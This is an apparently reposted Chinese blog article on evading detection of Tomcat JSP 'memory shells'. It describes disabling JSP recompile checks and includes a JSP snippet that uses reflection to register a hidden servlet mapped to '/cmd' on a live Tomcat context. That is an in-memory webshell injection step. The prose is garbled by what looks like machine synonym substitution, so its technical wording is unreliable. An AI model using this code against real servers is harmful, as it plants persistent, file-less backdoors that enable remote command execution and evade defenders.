前言
- 反射关闭development属性,即从开发形式转为消费形式
- 修正Options对象的modificationTestInterval属性,即修正Tomcat检查JSP更新的时间距离
这两种都是属于在开发形式下才需求停止的修正,消费环境对JSP的检查是经过checkInterval属性,不过由于普通遇到的都是开发形式,便不再深究。
从Servlet型取得jspServlet型
文章中引见的思绪总的来说都是经过中缀tomcat对JSP的检查机制,避免初次加载后再产生编译文件,而初次加载的JSP文件会产生落地行为,由于JspServlet#serviceJspFile
会经过查找JSP文件能否存在再装载wrapper
然后处置JSP Servlet默许的JspServletWrapper类也会由于mustCompile初始值为true对JSP compile,这也是上文中师傅对后续JSP检查提出绕过的中央。
那么我们能否能够换一种思绪,jsp也是一种特殊的servlet型,所以就用servlet那一套,先上一段servlet型内存马代码:
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Servlet servlet = new ServletTest(); // 继承Servlet类的子类 String name = servlet.getClass().getSimpleName(); org.apache.catalina.Wrapper newWrapper = context.createWrapper(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); context.addChild(newWrapper); context.addServletMappingDecoded("/cmd",name); %>
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
© 版权声明
本站网络名称:
孤勇者社区
本站永久网址:
https://www.gyzsq.com
网站侵权说明:
本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ324470778删除处理。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
THE END
喜欢就支持一下吧
相关推荐
评论 共1条
![头像](/wp-content/themes/zibll/img/avatar-default.png)
欢迎您留下宝贵的见解!
- 最新
- 最热
只看作者